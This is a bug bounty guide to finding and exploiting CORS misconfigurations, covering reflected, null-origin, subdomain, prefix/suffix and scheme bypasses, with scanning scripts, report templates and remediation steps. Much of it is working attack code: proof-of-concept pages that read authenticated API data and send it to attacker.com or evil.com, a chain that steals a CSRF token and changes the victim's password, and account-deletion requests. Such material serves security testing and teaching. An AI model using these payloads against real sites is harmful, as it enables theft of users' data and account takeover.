CORS MISCONFIGURATION

Bug Bounty Hunting Guide

Reflected Origin | Null Origin | Wildcard | Credentials

Subdomain Trust | Prefix/Suffix | Exploitation

2025 Edition

Table of Contents

1. Introduction to CORS

Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls how web pages can request resources from a different domain. When misconfigured, it allows malicious websites to make authenticated requests to APIs, steal data, perform actions on behalf of users, and bypass same-origin protections.

> **Why CORS Matters in Bug Bounty**
>
> A single CORS misconfiguration on an API endpoint can expose user data, session tokens, and allow account takeover. Unlike XSS which requires script injection, CORS exploitation only requires a user to visit an attacker-controlled website.

Misconfiguration Type	Severity	Impact
Reflected Origin + Credentials Critical	P1/P2	Full data theft, account takeover
Wildcard with Credentials Critical	P1/P2	Any site can steal data with cookies
Null Origin with Credentials Critical	P1/P2	Sandboxed/iframes can exploit
Subdomain Trust Abuse High	P2	XSS on subdomain -> data theft
Reflected Origin without Credentials Medium	P3/P4	Public data theft only
Weak Prefix/Suffix Match High	P2/P3	Partial origin control bypass
HTTP Scheme Bypass Medium	P3	HTTP subdomain exploitation

2. CORS Basics

Simple Request vs Preflight

Feature	Simple Request	Preflight Request
Methods	GET, HEAD, POST	PUT, DELETE, PATCH, others
Headers	Accept, Content-Type (limited), Language	Any custom header triggers preflight
Content-Type	text/plain, multipart/form-data, application/x-www-form-urlencoded	application/json triggers preflight
Behavior	Sent immediately, browser checks response headers	OPTIONS request sent first, then actual request

Critical CORS Headers

```
# Access-Control-Allow-Origin (ACAO)
# Who can access the response. Only one value allowed (or null/wildcard).
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: null

# Access-Control-Allow-Credentials (ACAC)
# Whether cookies/auth headers are sent with cross-origin requests.
Access-Control-Allow-Credentials: true

# DANGEROUS COMBINATION:
# ACAO: * + ACAC: true = NOT ALLOWED by browsers (but some custom clients may allow)
# ACAO: https://attacker.com + ACAC: true = CRITICAL (session hijacking)
# ACAO: null + ACAC: true = CRITICAL (iframe/sandbox bypass)

# Access-Control-Allow-Methods
# Which HTTP methods are allowed for cross-origin.
Access-Control-Allow-Methods: GET, POST, PUT, DELETE

# Access-Control-Allow-Headers
# Which headers can be used in the actual request.
Access-Control-Allow-Headers: Content-Type, Authorization, X-Custom-Header

# Access-Control-Expose-Headers
# Which response headers are accessible to the client.
Access-Control-Expose-Headers: X-Auth-Token, X-User-Id

# Access-Control-Max-Age
# How long preflight results can be cached.
Access-Control-Max-Age: 86400

# Vary: Origin
# Required when ACAO is dynamic. Without it, caches may poison responses.
Vary: Origin
```

> **The Golden Rule**
>
> **Access-Control-Allow-Credentials: true** combined with a dynamically reflected or weakly validated **Access-Control-Allow-Origin** is almost always a Critical or High severity vulnerability. This allows any website to make authenticated requests and read responses.

How Browsers Enforce CORS

```
# Browser sends Origin header with every cross-origin request
Origin: https://attacker.com

# Server responds with ACAO. Browser checks:
# 1. If ACAO matches Origin exactly -> ALLOW (if credentials, must be exact, not wil
dcard)
# 2. If ACAO is * and NO credentials -> ALLOW
# 3. If ACAO is null and Origin was null -> ALLOW (iframes/sandbox)
# 4. If ACAO is * and credentials=true -> BLOCKED by browser
# 5. If ACAO doesn't match Origin -> BLOCKED

# Preflight (OPTIONS) request:
OPTIONS /api/user HTTP/1.1
Host: target.com
Origin: https://attacker.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: X-Auth-Token

# Server responds:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: X-Auth-Token
Access-Control-Allow-Credentials: true

# THEN browser sends actual request with cookies
```

3. Reflected Origin

3.1 Simple Reflected Origin

The server takes the Origin header from the request and reflects it back in Access-Control-Allow-Origin without validation. This is the most common and dangerous CORS misconfiguration.

Step-by-Step Reproduction

```
# Step 1: Send request with attacker Origin
curl -s -I -H "Origin: https://attacker.com" \
  https://target.com/api/user/profile | grep -i "access-control"

# Vulnerable response:
# Access-Control-Allow-Origin: https://attacker.com
# Access-Control-Allow-Credentials: true

# Step 2: Verify credentials are allowed
curl -s -I -H "Origin: https://attacker.com" \
  https://target.com/api/user/profile | grep -i "credentials"

# Step 3: Check if sensitive data is returned
curl -s -H "Origin: https://attacker.com" \
  -H "Cookie: session=VALID_SESSION" \
  https://target.com/api/user/profile

# Step 4: Create PoC HTML page
# Save as poc.html and host on attacker.com:
# <script>
# fetch('https://target.com/api/user/profile', {
#   credentials: 'include'
# }).then(r => r.text()).then(data => {
#   fetch('https://attacker.com/log?data=' + btoa(data));
# });
# </script>
```

Report Template: Reflected Origin CORS

```
Title:    CORS Misconfiguration - Arbitrary Origin Reflection with Credentials
Severity: High (P2)
Endpoint: https://target.com/api/user/profile

Summary:
The API endpoint /api/user/profile reflects the Origin header
into Access-Control-Allow-Origin and sets
Access-Control-Allow-Credentials: true. This allows any malicious
website to make authenticated cross-origin requests and read
sensitive user data.

Steps to Reproduce:
1. Send request with arbitrary Origin:
   curl -H "Origin: https://evil.com" \
     -H "Cookie: session=VALID_COOKIE" \
     https://target.com/api/user/profile

2. Observe response headers:
   Access-Control-Allow-Origin: https://evil.com
   Access-Control-Allow-Credentials: true

3. Create PoC on attacker server:
   fetch('https://target.com/api/user/profile', {
     credentials: 'include'
   }).then(r => r.json()).then(data => {
     exfiltrate(data);
   });

4. Victim visits attacker page -> sensitive data stolen

Impact:
- Session hijacking via stolen cookies/authentication
- User profile data theft (PII, emails, phone)
- Account takeover potential
- API key/token extraction
- Cross-origin POST/PUT/DELETE actions

Remediation:
1. Whitelist exact allowed origins in ACAO header
2. Never reflect Origin header directly
3. Remove Access-Control-Allow-Credentials if not needed
4. Add Vary: Origin header for dynamic ACAO
5. Validate origin against strict whitelist before reflection
```

3.2 Subdomain Reflection

The server validates that the Origin ends with the target domain but allows any subdomain. If an attacker controls or finds XSS on any subdomain, they can exploit CORS.

```
# Test subdomain reflection
curl -s -I -H "Origin: https://evil.target.com" \
  https://target.com/api/user/profile | grep -i "access-control"

# Test sibling subdomain
curl -s -I -H "Origin: https://evil.attacker.target.com" \
  https://target.com/api/user/profile | grep -i "access-control"

# Test with dots in subdomain (double subdomain)
curl -s -I -H "Origin: https://evil.com.target.com" \
  https://target.com/api/user/profile | grep -i "access-control"

# Test encoded dots
curl -s -I -H "Origin: https://evil%2Ecom.target.com" \
  https://target.com/api/user/profile | grep -i "access-control"

# If any subdomain is allowed:
# 1. Find XSS on any *.target.com subdomain
# 2. Use that subdomain to attack target.com CORS

# XSS on blog.target.com -> steal target.com API data:
# <script>
# fetch('https://target.com/api/user/profile', {
#   credentials: 'include'
# }).then(r => r.text()).then(data => {
#   navigator.sendBeacon('https://attacker.com/log', data);
# });
# </script>
```

3.3 Prefix/Suffix Matching

Weak validation that checks if the Origin contains, starts with, or ends with a target string. These can be bypassed with creative domain registrations.

```
# Prefix match bypass: checks if Origin starts with "https://target.com"
# Bypass: https://target.com.attacker.com
curl -s -I -H "Origin: https://target.com.attacker.com" \
  https://target.com/api/data | grep -i "access-control"

# Suffix match bypass: checks if Origin ends with "target.com"
# Bypass: https://eviltarget.com
curl -s -I -H "Origin: https://eviltarget.com" \
  https://target.com/api/data | grep -i "access-control"

# Contains match bypass: checks if Origin contains "target.com"
# Bypass 1: https://attacker.com/?target.com
curl -s -I -H "Origin: https://attacker.com/?target.com" \
  https://target.com/api/data | grep -i "access-control"

# Bypass 2: https://target.com.evil.com
curl -s -I -H "Origin: https://target.com.evil.com" \
  https://target.com/api/data | grep -i "access-control"

# Bypass 3: https://evil.com#target.com
curl -s -I -H "Origin: https://evil.com#target.com" \
  https://target.com/api/data | grep -i "access-control"

# Bypass 4: https://evil.com/target.com
curl -s -I -H "Origin: https://evil.com/target.com" \
  https://target.com/api/data | grep -i "access-control"

# Regex bypass: origin.match(/target\.com$/)
# Bypass: https://evil.com/.target.com
curl -s -I -H "Origin: https://evil.com/.target.com" \
  https://target.com/api/data | grep -i "access-control"

# Port-based bypass if only hostname is checked
curl -s -I -H "Origin: https://target.com:8080.attacker.com" \
  https://target.com/api/data | grep -i "access-control"
```

3.4 HTTP Scheme Bypass

If the application checks the Origin but does not enforce HTTPS, an attacker can use HTTP subdomains or typo domains to bypass validation.

```
# HTTP origin allowed for HTTPS API
curl -s -I -H "Origin: http://target.com" \
  https://target.com/api/data | grep -i "access-control"

# If http://target.com is allowed, exploit via MITM or open WiFi

# HTTP subdomain origin
curl -s -I -H "Origin: http://evil.target.com" \
  https://target.com/api/data | grep -i "access-control"

# Scheme-less check bypass
curl -s -I -H "Origin: https://target.com" \
  https://target.com/api/data | grep -i "access-control"
curl -s -I -H "Origin: http://target.com" \
  https://target.com/api/data | grep -i "access-control"

# Null scheme or exotic schemes
curl -s -I -H "Origin: file://target.com" \
  https://target.com/api/data | grep -i "access-control"

curl -s -I -H "Origin: ftp://target.com" \
  https://target.com/api/data | grep -i "access-control"
```

3.5 Special Character Bypass

```
# Underscore bypass (some validators fail on underscores)
curl -s -I -H "Origin: https://evil_target.com" \
  https://target.com/api/data | grep -i "access-control"

# Unicode homograph bypass
curl -s -I -H "Origin: https://target.com" \
  https://target.com/api/data | grep -i "access-control"
# Note: target uses Cyrillic 'a' (U+0430)

# Data URI origin (rare, but test)
curl -s -I -H "Origin: data:text/html,test" \
  https://target.com/api/data | grep -i "access-control"

# Chrome null origin from local files
curl -s -I -H "Origin: null" \
  https://target.com/api/data | grep -i "access-control"

# Multiple Origin headers (parser confusion)
curl -s -I -H "Origin: https://target.com" \
  -H "Origin: https://evil.com" \
  https://target.com/api/data | grep -i "access-control"

# Tab/newline injection in Origin (if parsed as list)
curl -s -I -H "Origin: https://target.com\nhttps://evil.com" \
  https://target.com/api/data | grep -i "access-control"

# Encoded origin
curl -s -I -H "Origin: https://evil%2ecom" \
  https://target.com/api/data | grep -i "access-control"

# Origin with credentials in URL (some parsers strip it)
curl -s -I -H "Origin: https://user:pass@target.com" \
  https://target.com/api/data | grep -i "access-control"

curl -s -I -H "Origin: https://user:pass@evil.com" \
  https://target.com/api/data | grep -i "access-control"
```

4. Null Origin

When a request originates from a sandboxed iframe, a local HTML file, or certain redirect chains, the browser sends `Origin: null`. If the server allows `Access-Control-Allow-Origin: null` with credentials, it can be exploited.

```
# Step 1: Test if null origin is allowed
curl -s -I -H "Origin: null" \
  https://target.com/api/user/profile | grep -i "access-control"

# Vulnerable response:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true

# Step 2: Create exploit via sandboxed iframe
# <iframe sandbox="allow-scripts" srcdoc="
#   <script>
#   fetch('https://target.com/api/user/profile', {
#     credentials: 'include'
#   }).then(r => r.text()).then(data => {
#     parent.postMessage(data, '*');
#   });
#   </script>
# "></iframe>

# Step 3: Exploit via redirect chain
curl -s -I -H "Origin: null" \
  https://target.com/api/user/profile

# Step 4: Exploit via data URI redirect
# data:text/html,<script>
# fetch('https://target.com/api/user/profile', {
#   credentials: 'include'
# }).then(r => r.text()).then(data => {
#   location = 'https://attacker.com/log?d=' + btoa(data);
# });
# </script>

# Step 5: Exploit via JavaScript pseudo-protocol redirect
# javascript:fetch('https://target.com/api/user/profile',{credentials:'include'}).th
en(r=>r.text()).then(d=>alert(d))

# Step 6: Exploit via file:// origin (if victim opens local file)
# Save exploit.html locally, victim opens it
# Origin becomes null or file://
```

Report Template: Null Origin CORS

```
Title:    CORS Misconfiguration - Null Origin Trusted with Credentials
Severity: High (P2)
Endpoint: https://target.com/api/user/profile

Summary:
The API endpoint accepts Origin: null and responds with
Access-Control-Allow-Origin: null and
Access-Control-Allow-Credentials: true. This allows exploitation
via sandboxed iframes, local files, and redirect chains.

Steps to Reproduce:
1. Test null origin:
   curl -H "Origin: null" -I https://target.com/api/user/profile
   # ACAO: null, ACAC: true

2. Create PoC iframe:
   <iframe sandbox="allow-scripts" srcdoc="<script>
   fetch('https://target.com/api/user/profile',{
     credentials:'include'
   }).then(r=>r.text()).then(d=>{
     fetch('https://attacker.com/?data='+btoa(d));
   });</script>"></iframe>

3. Victim visits page -> authenticated data stolen

Impact:
- Authenticated data theft via sandboxed contexts
- Bypass of normal origin-based protections
- Phishing chain exploitation

Remediation:
1. Never allow null in ACAO when ACAC is true
2. Reject Origin: null entirely
3. Use strict origin whitelist
4. Require explicit origin validation
```

5. Wildcard with Credentials

Browsers block `Access-Control-Allow-Origin: *` when credentials are used. However, custom client applications (mobile apps, desktop apps, server-side scripts) may not enforce this restriction.

```
# Check wildcard with credentials
curl -s -I -H "Origin: https://evil.com" \
  https://target.com/api/public/data | grep -i "access-control"

# Response:
# Access-Control-Allow-Origin: *
# Access-Control-Allow-Credentials: true

# Browser blocks this combination, BUT:
# 1. Mobile apps using WebView may allow it
# 2. Desktop apps (Electron) may allow it
# 3. Server-side requests (Python, Node) may allow it
# 4. Custom HTTP clients may not enforce the restriction

# Test with non-browser client
python3 -c "
import requests
r = requests.get('https://target.com/api/public/data',
  headers={'Origin': 'https://evil.com'},
  cookies={'session': 'valid_cookie'})
print(r.headers.get('Access-Control-Allow-Origin'))
print(r.text[:200])
"

# If the application serves JSONP as fallback:
curl -s "https://target.com/api/data?callback=attacker"
# Response: attacker({"secret": "data"})

# JSONP exploitation:
# <script>
# function attacker(data) {
#   fetch('https://evil.com/log?d=' + btoa(JSON.stringify(data)));
# }
# </script>
# <script src="https://target.com/api/data?callback=attacker"></script>
```

Wildcard + Credentials Note

Modern browsers block `*` + `credentials: include`. However, this configuration still indicates broken CORS logic. Additionally, if the application has a mobile app or API consumed by non-browser clients, this may be exploitable. Always report if you find it, but verify actual exploitability.

6. Trusted Domain Abuse

When the CORS policy trusts an entire domain (e.g., `*.google.com`), any subdomain on that domain can attack the target. If the trusted domain has XSS, open redirect, or subdomain takeover, it becomes an attack vector.

```
# Check if target trusts google.com subdomains
curl -s -I -H "Origin: https://docs.google.com" \
  https://target.com/api/data | grep -i "access-control"

curl -s -I -H "Origin: https://sites.google.com" \
  https://target.com/api/data | grep -i "access-control"

# If any *.google.com is trusted, check for XSS on Google services
# Google Sites, Google Docs, Google Sheets may have XSS opportunities

# Check trust of github.io (any GitHub Pages site)
curl -s -I -H "Origin: https://attacker.github.io" \
  https://target.com/api/data | grep -i "access-control"

# Check trust of herokuapp.com
curl -s -I -H "Origin: https://attacker.herokuapp.com" \
  https://target.com/api/data | grep -i "access-control"

# Check trust of firebaseapp.com
curl -s -I -H "Origin: https://attacker.firebaseapp.com" \
  https://target.com/api/data | grep -i "access-control"

# If target trusts a domain with open redirect:
# 1. Find open redirect on trusted domain
# 2. Redirect to attacker.com
# 3. Attacker.com makes CORS request to target
# 4. Browser sees Origin as trusted domain (due to redirect)

# Exploit chain:
# victim visits: https://trusted-domain.com/redirect?to=https://attacker.com
# (redirects to attacker.com)
# attacker.com page makes fetch to target.com
# Origin header = https://trusted-domain.com (original origin)
# target.com allows it because it trusts trusted-domain.com
```

7. CORS with XSS Chaining

CORS misconfigurations amplify the impact of XSS vulnerabilities. Even a low-impact XSS on a trusted subdomain can steal authenticated data from the main domain.

```
# Scenario: blog.target.com has self-XSS (only affects the user)
# But target.com has CORS trusting *.target.com
# Result: XSS on blog.target.com can steal data from target.com

# Exploit on blog.target.com:
# <script>
# // Steal target.com API data using CORS trust
# fetch('https://target.com/api/user/profile', {
#   credentials: 'include'
# }).then(r => r.json()).then(data => {
#   // Exfiltrate to attacker server
#   navigator.sendBeacon('https://attacker.com/steal', JSON.stringify(data));
# });
#
# // Also perform actions as the user
# fetch('https://target.com/api/user/delete', {
#   method: 'DELETE',
#   credentials: 'include'
# });
# </script>

# CORS trust abuse with stored XSS on any subdomain:
# If ANY *.target.com subdomain has stored XSS,
# it can attack target.com APIs due to CORS trust.

# XSSI (Cross-Site Script Inclusion) fallback:
# If CORS blocks but the endpoint returns JSON without proper headers:
# <script>
# // Override array constructor to steal data
# var oldArray = Array;
# Array = function() {
#   var data = arguments;
#   fetch('https://attacker.com/log?data=' + encodeURIComponent(JSON.stringify(dat
a)));
#   return oldArray.apply(this, arguments);
# };
# </script>
# <script src="https://target.com/api/data.json"></script>
```

8. Exploitation Techniques

Basic Data Theft PoC

```
# Standard CORS exploit template
# Save as exploit.html on attacker server:

<!DOCTYPE html>
<html>
<body>
<script>
// Method 1: Basic fetch with credentials
fetch('https://target.com/api/user/profile', {
  method: 'GET',
  credentials: 'include'
}).then(response => response.json()).then(data => {
  // Exfiltrate to attacker server
  fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(data)));
});

// Method 2: POST action via CORS
fetch('https://target.com/api/user/email', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
});

// Method 3: DELETE action via CORS
fetch('https://target.com/api/user/account', {
  method: 'DELETE',
  credentials: 'include'
});

// Method 4: Image beacon for GET-only exfiltration
fetch('https://target.com/api/user/profile', {
  credentials: 'include'
}).then(r => r.text()).then(data => {
  new Image().src = 'https://attacker.com/log?d=' + btoa(data);
});
</script>
</body>
</html>
```

Advanced Exfiltration

```
# Stealing CSRF tokens to enable CSRF attacks
fetch('https://target.com/api/csrf-token', {
  credentials: 'include'
}).then(r => r.json()).then(data => {
  // Use stolen token to perform CSRF
  fetch('https://target.com/api/user/change-password', {
    method: 'POST',
    credentials: 'include',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': data.token
    },
    body: JSON.stringify({password: 'hacked123'})
  });
});

# Stealing API keys from authenticated endpoints
fetch('https://target.com/api/settings', {
  credentials: 'include'
}).then(r => r.json()).then(data => {
  // data may contain api_key, secret_key, tokens
  navigator.sendBeacon('https://attacker.com/keys', JSON.stringify(data));
});

# Enumerating internal API endpoints via CORS
const endpoints = ['/api/admin', '/api/internal', '/api/debug'];
endpoints.forEach(ep => {
  fetch('https://target.com' + ep, {
    credentials: 'include'
  }).then(r => {
    if (r.status === 200) {
      r.text().then(data => {
        navigator.sendBeacon('https://attacker.com/found',
          JSON.stringify({endpoint: ep, data: data.substring(0, 1000)}));
      });
    }
  });
});
```

Preflight Bypass Techniques

```
# Some endpoints skip preflight checks
# Simple requests (GET, POST with text/plain) don't trigger preflight

# Use text/plain to avoid preflight for POST
curl -X POST https://target.com/api/action \
  -H "Origin: https://evil.com" \
  -H "Content-Type: text/plain" \
  -H "Cookie: session=VALID" \
  -d '{"action":"delete_account"}'

# Use GET with parameters instead of POST
curl -G https://target.com/api/action \
  -H "Origin: https://evil.com" \
  -H "Cookie: session=VALID" \
  --data-urlencode 'action=delete_account'

# If custom headers trigger preflight but the main endpoint doesn't validate:
# Send preflight from one origin, actual request from another
# (rarely works due to browser enforcement)
```

9. Tools & Automation

Tool	Purpose	Command
CORStest	CORS vulnerability scanner	`python3 CORStest.py -v target.com`
Corsy	Fast CORS scanner	`python3 corsy.py -u https://target.com/api`
corscanner	Multi-endpoint CORS scan	`corscanner -i urls.txt -o results.txt`
corsme	Go-based CORS scanner	`corsme -u https://target.com`
Postman	Manual CORS testing	Collections with varying Origins
Burp Suite	Proxy + repeater for CORS	Match/replace Origin header
curl	Manual header testing	`curl -H "Origin: X" -I URL`
ffuf	Fuzz Origin headers	`ffuf -w origins.txt -H "Origin: FUZZ"`
nuclei	CORS templates	`nuclei -u target.com -t cors*.yaml`

```
# CORStest usage
git clone https://github.com/RUB-NDS/CORStest.git
cd CORStest
python3 CORStest.py -v target.com

# Corsy usage
git clone https://github.com/s0md3v/Corsy.git
cd Corsy
python3 corsy.py -u https://target.com/api/user

# nuclei CORS templates
nuclei -u https://target.com -t http/misconfiguration/cors*

# Burp Suite match and replace for CORS testing
# Proxy -> Options -> Match and Replace
# Type: Request header
# Match: Origin: https://target.com
# Replace: Origin: https://evil.com

# ffuf for Origin fuzzing
cat > origins.txt << 'EOF'
https://target.com
https://evil.com
https://evil.target.com
https://target.com.evil.com
null
https://attacker.github.io
https://attacker.herokuapp.com
http://target.com
https://target.com.attacker.com
EOF

ffuf -u https://target.com/api/user \
  -w origins.txt:HFUZZ \
  -H "Origin: HFUZZ" \
  -H "Cookie: session=VALID" \
  -mc all -fr "Forbidden\|Blocked"
```

10. One-Liners

Mass CORS Endpoint Scanning

```
# Test all endpoints for reflected origin
cat endpoints.txt | while read url; do
  resp=$(curl -s -I -H "Origin: https://evil.com" --max-time 10 "$url" 2>/dev/nu
ll)
  acao=$(echo "$resp" | grep -i "access-control-allow-origin" | head -1)
  acac=$(echo "$resp" | grep -i "access-control-allow-credentials" | head -1)
  if echo "$acao" | grep -qi "evil.com"; then
    echo "[!] REFLECTED: $url"
    echo "  $acao"
    echo "  $acac"
  fi
  if echo "$acao" | grep -qi "null"; then
    echo "[!] NULL: $url"
    echo "  $acao"
    echo "  $acac"
  fi
done | tee cors_results.txt
```

Active **bash**

Complete CORS Fuzzing Pipeline

```
# Step 1: Crawl endpoints
echo "target.com" | subfinder -silent | httpx -silent | \
  katana -list - -jc -d 3 | tee crawled_urls.txt

# Step 2: Filter API endpoints
cat crawled_urls.txt | grep -iE "api|graphql|rest|v[0-9]|json" > api_endpoints.t
xt

# Step 3: Test each for CORS
cat api_endpoints.txt | while read url; do
  echo "=== Testing $url ==="
  for origin in "https://evil.com" "null" "https://evil.target.com" \
                "https://target.com.evil.com" "http://target.com"; do
    resp=$(curl -s -I -H "Origin: $origin" --max-time 5 "$url" 2>/dev/null)
    acao=$(echo "$resp" | grep -i "access-control-allow-origin:" | awk '{print
$2}' | tr -d '\r')
    acac=$(echo "$resp" | grep -i "access-control-allow-credentials:" | awk '{pr
int $2}' | tr -d '\r')
    if [ "$acao" = "$origin" ] || [ "$acao" = "*" ] || [ "$acao" = "null" ]; the
n
      echo "  [$origin] -> ACAO: $acao | ACAC: $acac"
    fi
  done
done | tee cors_full_scan.txt
```

Active **katana**

Automated CORS Exploitability Check

```
#!/bin/bash
URL="$1"
COOKIE="$2"

echo "=== CORS Test for $URL ==="

# Test 1: Reflected origin
test1=$(curl -s -I -H "Origin: https://evil.com" -b "$COOKIE" "$URL" 2>/dev/nul
l)
if echo "$test1" | grep -qi "access-control-allow-origin: https://evil.com"; the
n
  echo "[CRITICAL] Reflected Origin with credentials possible"
fi

# Test 2: Null origin
test2=$(curl -s -I -H "Origin: null" -b "$COOKIE" "$URL" 2>/dev/null)
if echo "$test2" | grep -qi "access-control-allow-origin: null"; then
  echo "[CRITICAL] Null Origin allowed"
fi

# Test 3: Wildcard
test3=$(curl -s -I -H "Origin: https://evil.com" -b "$COOKIE" "$URL" 2>/dev/nul
l)
if echo "$test3" | grep -qi "access-control-allow-origin: \*"; then
  echo "[MEDIUM] Wildcard origin (check non-browser clients)"
fi

# Test 4: Subdomain trust
test4=$(curl -s -I -H "Origin: https://evil.target.com" -b "$COOKIE" "$URL" 2>/d
ev/null)
if echo "$test4" | grep -qi "access-control-allow-origin: https://evil.target.co
m"; then
  echo "[HIGH] Subdomain origin trusted"
fi

# Test 5: Prefix/suffix bypass
test5=$(curl -s -I -H "Origin: https://target.com.evil.com" -b "$COOKIE" "$URL"
2>/dev/null)
if echo "$test5" | grep -qi "access-control-allow-origin: https://target.com.evi
l.com"; then
  echo "[HIGH] Prefix/suffix bypass possible"
fi

# Test 6: HTTP scheme
test6=$(curl -s -I -H "Origin: http://target.com" -b "$COOKIE" "$URL" 2>/dev/nul
l)
if echo "$test6" | grep -qi "access-control-allow-origin: http://target.com"; th
en
  echo "[MEDIUM] HTTP origin allowed"
fi
```

```
echo "=== Data Extraction Test ==="
data=$(curl -s -H "Origin: https://evil.com" -b "$COOKIE" "$URL" 2>/dev/null | h
ead -c 500)
if [ -n "$data" ]; then
  echo "Data accessible: ${data:0:200}..."
fi
```

Active bash

CORStest + nuclei Combined

```
# CORStest for discovery
python3 CORStest.py -v target.com -o cors_findings.txt

# nuclei for template-based detection
cat cors_findings.txt | grep "https://" | awk '{print $1}' | sort -u > cors_url
s.txt
nuclei -l cors_urls.txt -t http/misconfiguration/cors* -o nuclei_cors.txt

# Manual verification of findings
cat cors_urls.txt | while read url; do
  echo "=== $url ==="
  curl -s -I -H "Origin: https://evil.com" "$url" | grep -i "access-control"
done
```

Active CORStest nuclei

11. Report Templates

Generic CORS Report Structure

```
Title: CORS Misconfiguration - [Type] on [Endpoint]
Severity: [P1/P2/P3/P4]
Asset: [target.com / specific endpoint]

Summary:
2-3 sentences describing the CORS misconfiguration and its impact.

Steps to Reproduce:
1. Send request with crafted Origin header
2. Observe Access-Control-Allow-Origin response
3. Verify credentials are allowed (if applicable)
4. Create PoC demonstrating data theft or action

Proof of Concept:
[HTML/JS code or curl commands]
[Screenshots of response headers]
[Video demonstrating exploitation]

Impact:
- Authenticated data theft
- Session hijacking
- Account takeover potential
- Cross-origin actions (POST/DELETE)

Remediation:
1. Implement strict origin whitelist
2. Validate origin against allowed list (exact match)
3. Remove Access-Control-Allow-Credentials if not needed
4. Add Vary: Origin for dynamic ACAO
5. Never reflect user-supplied Origin header

References:
- https://portswigger.net/web-security/cors
- https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
- CWE-942: Overly Permissive Cross-domain Whitelist
```

Severity Classification

Misconfiguration	Severity	CVSS Range
Reflected Origin + Credentials (API with sensitive data)	P1 - Critical	8.0 - 9.5
Reflected Origin + Credentials (limited data)	P2 - High	6.5 - 7.9
Null Origin + Credentials	P2 - High	6.5 - 7.9
Subdomain Trust + Credentials	P2 - High	6.0 - 7.5
Prefix/Suffix Bypass + Credentials	P2 - High	6.0 - 7.5
Wildcard + Credentials (non-browser client)	P2 - High	6.0 - 7.0
Reflected Origin without Credentials	P3 - Medium	4.0 - 5.9
HTTP Scheme Bypass + Credentials	P3 - Medium	4.0 - 5.5
Weak Subdomain Trust without Credentials	P4 - Low	2.0 - 3.9
Wildcard without Credentials	P4 - Low	2.0 - 3.9
Missing Vary: Origin (cache poisoning risk)	P3 - Medium	4.0 - 5.5

Report Template: Subdomain Trust CORS

```
Title:    CORS Misconfiguration - Subdomain Origin Trusted with Credentials
Severity: High (P2)
Endpoint: https://target.com/api/*

Summary:
The API endpoints on target.com accept any *.target.com subdomain
as a valid Origin and include Access-Control-Allow-Credentials: true.
An attacker who finds XSS on any target.com subdomain can steal
authenticated data from the main domain.

Steps to Reproduce:
1. Test subdomain origin:
   curl -H "Origin: https://evil.target.com" -I \
     https://target.com/api/user/profile
   # ACAO: https://evil.target.com
   # ACAC: true

2. XSS on blog.target.com (existing vulnerability):
   <script>
   fetch('https://target.com/api/user/profile', {
     credentials: 'include'
   }).then(r => r.json()).then(data => {
     navigator.sendBeacon('https://attacker.com/steal',
       JSON.stringify(data));
   });
   </script>

3. Victim visits blog.target.com XSS page
4. Authenticated data from target.com is exfiltrated

Impact:
- Any XSS on *.target.com becomes account takeover
- Data theft from authenticated APIs
- Chained with subdomain takeover for permanent exploit

Remediation:
1. Whitelist exact origins, not wildcard subdomains
2. Remove credentials support if cross-origin not needed
3. Implement subdomain security to prevent XSS
4. Use strict origin validation:
   if (origin === 'https://www.target.com') { ... }
```

12. Tips & Tricks

Tip 1: Always Test with Credentials

A reflected Origin without Access-Control-Allow-Credentials: true is typically Low/Medium severity (public data only). The presence of credentials is what makes CORS a Critical finding. Always verify both headers.

Tip 2: Test API Endpoints, Not Just Pages

Static pages often have correct CORS. API endpoints (/api/*, /graphql, /rest/*) are where CORS misconfigurations most commonly occur. Focus your testing on state-changing and data-retrieval endpoints.

Tip 3: Check Preflight and Actual Response

Some applications return correct CORS on OPTIONS preflight but wrong headers on the actual response. Always test with the actual HTTP method (GET, POST, PUT, DELETE) not just OPTIONS.

Tip 4: Use Multiple Origin Variants

Don't just test with evil.com. Test: null, *.target.com, target.com.evil.com, eviltarget.com, http://target.com, and subdomains of trusted third parties. Weak validation often slips past simple tests.

Tip 5: Look for Dynamic ACAO Without Vary: Origin

If ACAO changes based on Origin but there's no Vary: Origin header, the response may be cached by CDNs/proxies. This creates a cache poisoning vulnerability where one user's malicious origin poisons the cache for all users.

Tip 6: Test with Authenticated Session

Some endpoints return different CORS headers for authenticated vs unauthenticated users. Always include valid session cookies when testing. The most sensitive data is behind authentication.

Tip 7: JSONP is CORS's Cousin

If CORS is properly configured but the endpoint supports JSONP (?callback=), the same data theft is possible. Always check for JSONP support as a fallback exploitation path.

Tip 8: Combine with Other Vulnerabilities

CORS + XSS on trusted subdomain = data theft. CORS + open redirect = origin spoofing. CORS + subdomain takeover = permanent backdoor. Always think about how CORS interacts with other bugs in the target's ecosystem.

Responsible Disclosure

When demonstrating CORS exploitation, only extract your own test account data. Never access other users' information. Use a minimal PoC that shows the vulnerability without causing harm. Deactivate any PoC pages immediately after the report is acknowledged.

Resource	URL
PortSwigger CORS	https://portswigger.net/web-security/cors
MDN CORS Documentation	https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
CORStest Tool	https://github.com/RUB-NDS/CORStest
Corsy Tool	https://github.com/s0md3v/Corsy
Bug Bounty CORS Writeups	https://github.com/reddelexc/hackerone-reports
CORS Attacks by Trustwave	https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/